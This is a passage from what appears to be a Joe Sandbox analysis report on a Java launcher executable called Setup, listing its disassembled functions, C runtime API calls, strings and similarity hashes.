memcpy_s.LIBCPMT ref: 00007FF70C263A52
memcpy_s.LIBCPMT ref: 00007FF70C263A97
memcpy_s.LIBCPMT ref: 00007FF70C263B49
memcpy_s.LIBCPMT ref: 00007FF70C263C76
memcpy_s.LIBCPMT ref: 00007FF70C262FAA

Part of subcall function 00007FF70C26527C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70C2652AE

memcpy_s.LIBCPMT ref: 00007FF70C2633AD
memcpy_s.LIBCPMT ref: 00007FF70C263E46

Strings

, xrefs: 00007FF70C263D23
, xrefs: 00007FF70C263BF6

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: memcpy_s$_invalid_parameter_noinfo
String ID: $
API String ID: 2880407647-227171996
Opcode ID: 0238494e4185e9e0452f616f036e6ea2473bf2d3c40658a8c9b8098016ed82eb
Instruction ID: e8c7a51c4f25dc3bfc29987d5fb71b4951e927e500e3f4674332e7b819238323
Opcode Fuzzy Hash: 0238494e4185e9e0452f616f036e6ea2473bf2d3c40658a8c9b8098016ed82eb
Instruction Fuzzy Hash: 6703C472A182C38BE775DE25D940BF9B791FF9478CF805135DA0A57F94DB38AA008B60

Function 00007FF70C273A14 Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1209COMMONLIBRARYCODE

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF70C273A59
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C274059
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C274210
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C274424
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C2746CD
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C2748CA
memcpy_s.LIBCPMT ref: 00007FF70C2749B5
memcpy_s.LIBCPMT ref: 00007FF70C274A60
memcpy_s.LIBCPMT ref: 00007FF70C274B26

Strings

1#IND, xrefs: 00007FF70C274BCC
1#INF, xrefs: 00007FF70C274BF7
1#SNAN, xrefs: 00007FF70C274BD8
1#QNAN, xrefs: 00007FF70C274BE4

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: b2886f78b3e801e6384d34c3a3f2cd6676a6e4bd5269c4a29a9d638173f13b0c
Instruction ID: 0d515b1b64019ecb5bf9a9db046146cd389d0026741615d1447521e9396b9130
Opcode Fuzzy Hash: b2886f78b3e801e6384d34c3a3f2cd6676a6e4bd5269c4a29a9d638173f13b0c
Instruction Fuzzy Hash: 63B2D372E182938BE725EE64D8927FDB7A1FF44388F905235DA0957F84DB78A900CB50

Function 00007FF70C256728 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 134windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000000,?,00000000,00000000,00000105,00000000), ref: 00007FF70C25675F
FormatMessageA.KERNEL32 ref: 00007FF70C25678A
MessageBoxA.USER32 ref: 00007FF70C25688E
fwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C2568E4
LocalFree.KERNEL32(?,?,00000000,?,00000000,00000000,00000105,00000000), ref: 00007FF70C2568ED

Strings

Java Virtual Machine Launcher, xrefs: 00007FF70C256882

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: Message$ErrorFormatFreeLastLocalfwprintf
String ID: Java Virtual Machine Launcher
API String ID: 3630131139-898708411
Opcode ID: 34e35c17a90e0a6dac7562f769ba0c42994651291d7eb5778f65e679b0df0a84
Instruction ID: 4574077c82b51e39de8e251c49922c0bb9e6b0c38eaabd362d5ce3cf268379c2
Opcode Fuzzy Hash: 34e35c17a90e0a6dac7562f769ba0c42994651291d7eb5778f65e679b0df0a84
Instruction Fuzzy Hash: 64517122A0875385EB24FBA1AC557BEA6A0FF49B98F844536EE4D47F81DF3CD4458320

Function 00007FF70C25AFE4 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF70C25B000
RtlCaptureContext.KERNEL32 ref: 00007FF70C25B02D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF70C25B047
RtlVirtualUnwind.KERNEL32 ref: 00007FF70C25B088
IsDebuggerPresent.KERNEL32 ref: 00007FF70C25B0DC
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF70C25B0FD
UnhandledExceptionFilter.KERNEL32 ref: 00007FF70C25B108

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 71317b3d12281315f37eb4e3fb27f7e64a2eda6129d7b25fbb9121efbd05b509
Instruction ID: 8118078b27b64e1fde04a7c9c2e99b84797ebcbfb96e201711717a7b2eff1c3d
Opcode Fuzzy Hash: 71317b3d12281315f37eb4e3fb27f7e64a2eda6129d7b25fbb9121efbd05b509
Instruction Fuzzy Hash: D6314F72609B8286EB60AF64E8813EAB364FF84744F844139DB4D47B98EF39D548C724

Function 00007FF70C2767A8 Relevance: 9.3, APIs: 6, Instructions: 280timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF70C2767F2

Part of subcall function 00007FF70C276148: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70C27615C

_get_daylight.LIBCMT ref: 00007FF70C2767E1

Part of subcall function 00007FF70C2761A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70C2761BC

_get_daylight.LIBCMT ref: 00007FF70C276A6A
_get_daylight.LIBCMT ref: 00007FF70C276A7B
_get_daylight.LIBCMT ref: 00007FF70C276A8C
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF70C276C98), ref: 00007FF70C276AB3

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$InformationTimeZone
String ID:
API String ID: 435049134-0
Opcode ID: f34aa1144b3a603df1cfe8e3aa768729ab95252bd5a74704b41f9320b8c445da
Instruction ID: 4b43022bd10b1e1292990814158601da62e9791d62852f828f7bb7241d670fcb
Opcode Fuzzy Hash: f34aa1144b3a603df1cfe8e3aa768729ab95252bd5a74704b41f9320b8c445da
Instruction Fuzzy Hash: 3CB1B222A18A4386EB10FF26DD925BAA761FF84784FC45235EA4D83F95DF3CE4458720

Function 00007FF70C26B26C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF70C26B2E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF70C26B2FD
RtlVirtualUnwind.KERNEL32 ref: 00007FF70C26B338
IsDebuggerPresent.KERNEL32 ref: 00007FF70C26B371
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF70C26B37B
UnhandledExceptionFilter.KERNEL32 ref: 00007FF70C26B386

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: e58f4378e033707c7bf7f7cf13841d0542599257f0a2f9b68ca8a604657ef5b9
Instruction ID: 02fd9706640673ada94148ca321536e8c3be237dc999d84c28b5c313946716e8
Opcode Fuzzy Hash: e58f4378e033707c7bf7f7cf13841d0542599257f0a2f9b68ca8a604657ef5b9
Instruction Fuzzy Hash: 4B315F32618B8286DB60EF25EC852AEB3A4FF89754F900235EA8D43F95DF38D555CB10

Function 00007FF70C257A9C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 129fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,00000000,?,00007FF70C2576FD,?,?,?,00007FF70C257A4F,?,?,?,00007FF70C253E00), ref: 00007FF70C257AF0
FindNextFileA.KERNEL32(?,00007FF70C2576FD,?,?,?,00007FF70C257A4F,?,?,?,00007FF70C253E00), ref: 00007FF70C257B3B
FindClose.KERNEL32(?,00007FF70C2576FD,?,?,?,00007FF70C257A4F,?,?,?,00007FF70C253E00), ref: 00007FF70C257C31

Strings

jar, xrefs: 00007FF70C257B6E
JAR, xrefs: 00007FF70C257B7E

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID: JAR$jar
API String ID: 3541575487-1396542530
Opcode ID: 63bb2aedccf3de762e0ee375445767d73e504fb473f02ef78a9200dbea67647a
Instruction ID: 81699a28605f93078690dbbef35cfde8bfbb135e0fd30bbf483e4230caedd9d9
Opcode Fuzzy Hash: 63bb2aedccf3de762e0ee375445767d73e504fb473f02ef78a9200dbea67647a
Instruction Fuzzy Hash: 7D519D21A1964389EA14FF62EC952BEA360AF44B94F818535DF5E87B82DF3CE545C310

Function 00007FF70C26FACC Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF70C26FB3B
WriteFile.KERNEL32 ref: 00007FF70C26FDF2
WriteFile.KERNEL32 ref: 00007FF70C26FE44
GetLastError.KERNEL32 ref: 00007FF70C26FF46
GetLastError.KERNEL32 ref: 00007FF70C26FFA6

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: c37a975567a0e8e3df11ed48818854dd4fdb01c810396f3f464756168682b727
Instruction ID: 364faf13dcf9f0fea872dfa27a2169f73da0a79394c43bc4e245b04dd85b3f0d
Opcode Fuzzy Hash: c37a975567a0e8e3df11ed48818854dd4fdb01c810396f3f464756168682b727
Instruction Fuzzy Hash: 73E1D132A186828AEB01DBA5E9402ADBB71FF45788F904136DF4E57F99DF38D416C720

Function 00007FF70C276A3C Relevance: 6.1, APIs: 4, Instructions: 149timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF70C276A6A

Part of subcall function 00007FF70C2761A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70C2761BC

_get_daylight.LIBCMT ref: 00007FF70C276A7B

Part of subcall function 00007FF70C276148: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70C27615C

_get_daylight.LIBCMT ref: 00007FF70C276A8C

Part of subcall function 00007FF70C276178: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70C27618C

Part of subcall function 00007FF70C26B560: HeapFree.KERNEL32(?,?,?,00007FF70C2727DC,?,?,?,00007FF70C27281F,?,?,00000000,00007FF70C272CE4,?,?,?,00007FF70C272C17), ref: 00007FF70C26B576
Part of subcall function 00007FF70C26B560: GetLastError.KERNEL32(?,?,?,00007FF70C2727DC,?,?,?,00007FF70C27281F,?,?,00000000,00007FF70C272CE4,?,?,?,00007FF70C272C17), ref: 00007FF70C26B588

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF70C276C98), ref: 00007FF70C276AB3

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 95cffe678918885c03dd0fd6ad45f7c1867915822390267a51126667de5d843a
Instruction ID: 49b8ba52068fc243f4bfa9e660ce09b99628801ad8a4c710d05fce86f87c7672
Opcode Fuzzy Hash: 95cffe678918885c03dd0fd6ad45f7c1867915822390267a51126667de5d843a
Instruction Fuzzy Hash: F2613932A18A4386E710FF25ED925A9B760BF48784FC45236EA4D83F96DF3CE4048760

Function 00007FF70C2766C4 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 244COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70C271B00: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70C271B2E

_get_daylight.LIBCMT ref: 00007FF70C2767E1
_get_daylight.LIBCMT ref: 00007FF70C2767F2

Strings

?, xrefs: 00007FF70C27676D

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 51cdd9079e68ce62684cac5115b1afc2b6653c272f767fd36a0a2a5a613cb686
Instruction ID: 74c171dcdbf3450afacf60af67cfe106b1c9f3d23bbb9fc857266ab5b776e1f2
Opcode Fuzzy Hash: 51cdd9079e68ce62684cac5115b1afc2b6653c272f767fd36a0a2a5a613cb686
Instruction Fuzzy Hash: 8491D626E08A5386EB20FB26D99227AA661EF80BD4F948235FE4C47FC5DF3CD4418750

Function 00007FF70C2640E0 Relevance: 4.8, APIs: 3, Instructions: 317COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF70C264146
memcpy_s.LIBCPMT ref: 00007FF70C264171

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: e20d760b859cf2c7ba59061aa156bdf6ee08cd8a7917d1d6d4625f58f413215a
Instruction ID: e4264cb81e14d90129380e4a0979a23025b48d21306aff1227caa1f57e1e42b8
Opcode Fuzzy Hash: e20d760b859cf2c7ba59061aa156bdf6ee08cd8a7917d1d6d4625f58f413215a
Instruction Fuzzy Hash: D9C1D572B1828787DB24EF19E544A6AF791FF94784F948235DB8A43B44DB3CE841CB60

Function 00007FF70C26CDFC Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C26CE60

Strings

gfffffff, xrefs: 00007FF70C26D111

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: fdc06be651123f2e45186d910181189a4e7059cc0654968315406f5b78ec3b1d
Instruction ID: 1bee0aa4141643a5f76004cad8ce7dbadd919c0ab7f4e12bdaf1b036ac364269
Opcode Fuzzy Hash: fdc06be651123f2e45186d910181189a4e7059cc0654968315406f5b78ec3b1d
Instruction Fuzzy Hash: 8A912462B093CB86EB15AF2998107B9BB91AF51B84F458032DE8D47B85DF3DE5028321

Function 00007FF70C26D808 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 220COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C26D83E

Part of subcall function 00007FF70C26B4A0: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF70C26B47D), ref: 00007FF70C26B4A9
Part of subcall function 00007FF70C26B4A0: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF70C26B47D), ref: 00007FF70C26B4CE

Strings

-, xrefs: 00007FF70C26DA30

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor_invalid_parameter_noinfo
String ID: -
API String ID: 4036615347-2547889144
Opcode ID: 665d2312fef52135513e99e420dbdfc9f70daf26bcfcf03bc9d5dcdc90619522
Instruction ID: ebc1b3c717c7ee1e12756d217af82238c4795c0d1e4818486647c6d75680b3f0
Opcode Fuzzy Hash: 665d2312fef52135513e99e420dbdfc9f70daf26bcfcf03bc9d5dcdc90619522
Instruction Fuzzy Hash: B191D362B0C78A86E670EF25990476AF691FF95BD0F844235EA9D47F99CB3CE4008720

Function 00007FF70C271D84 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C271DB4

Part of subcall function 00007FF70C26B4A0: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF70C26B47D), ref: 00007FF70C26B4A9
Part of subcall function 00007FF70C26B4A0: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF70C26B47D), ref: 00007FF70C26B4CE

Strings

*?, xrefs: 00007FF70C271DDB

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor_invalid_parameter_noinfo
String ID: *?
API String ID: 4036615347-2564092906
Opcode ID: 3573897de4cbc01d3fe9d9088e4697f594729de275180852b5da56caf72081e9
Instruction ID: a034047b50e48ab41740cd4c5e33f9b54db5f41b27bbbee8078c857dc68f3710
Opcode Fuzzy Hash: 3573897de4cbc01d3fe9d9088e4697f594729de275180852b5da56caf72081e9
Instruction Fuzzy Hash: C351B062B15B5B86EB14EF66DC424ADA7A1BF44BD8B844632EE1D07F85EF3CD0518320

Function 00007FF70C2784D8 Relevance: 3.2, APIs: 2, Instructions: 232COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF70C278727
RaiseException.KERNEL32 ref: 00007FF70C278738

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 915cd531f7ef5b3065576ac8ab75f2fc8c3176eb62d7bcc4b950cb8e8de866a3
Instruction ID: 3ad0472dd732767757b8bb3cad5007ad5439ab49b312fd866021704c13a6cc37
Opcode Fuzzy Hash: 915cd531f7ef5b3065576ac8ab75f2fc8c3176eb62d7bcc4b950cb8e8de866a3
Instruction Fuzzy Hash: D5B17E77A00B868BEB15CF29C88A36C77A0FB44B48F558921DB5D97BA4CB39D411CB10

Function 00007FF70C26EA5C Relevance: 1.9, APIs: 1, Instructions: 439COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: accabea3e91d444750c2d5136ff5079f3e13ce0b14a305a4a857007a0166d442
Instruction ID: ab71e1ee17d941b0345b0c4a6f2810ffee42476f5fd4273ede18274572a9cb81
Opcode Fuzzy Hash: accabea3e91d444750c2d5136ff5079f3e13ce0b14a305a4a857007a0166d442
Instruction Fuzzy Hash: 1502D025A0A65742FE24BB21AD01279F794AF01BA0FDA4635DD6D87FE5EF3DA4018330

Function 00007FF70C268E00 Relevance: 1.7, APIs: 1, Instructions: 195COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF70C268E64

Part of subcall function 00007FF70C2680F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70C26810C

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo
String ID:
API String ID: 474895018-0
Opcode ID: e75d1316f7690e78a1b7bbe4b8fd434e354be019a45c5af86f04e4cb43f49289
Instruction ID: d5a5a2e0ab2038d694eb8449cc58951ac938573ebc9964b7cb013fad7ee44328
Opcode Fuzzy Hash: e75d1316f7690e78a1b7bbe4b8fd434e354be019a45c5af86f04e4cb43f49289
Instruction Fuzzy Hash: E071D532E0829346F7647A699C50679F292AF40360FE44635EA5D87FD5DF7EE8808730

Function 00007FF70C271F90 Relevance: 1.6, APIs: 1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

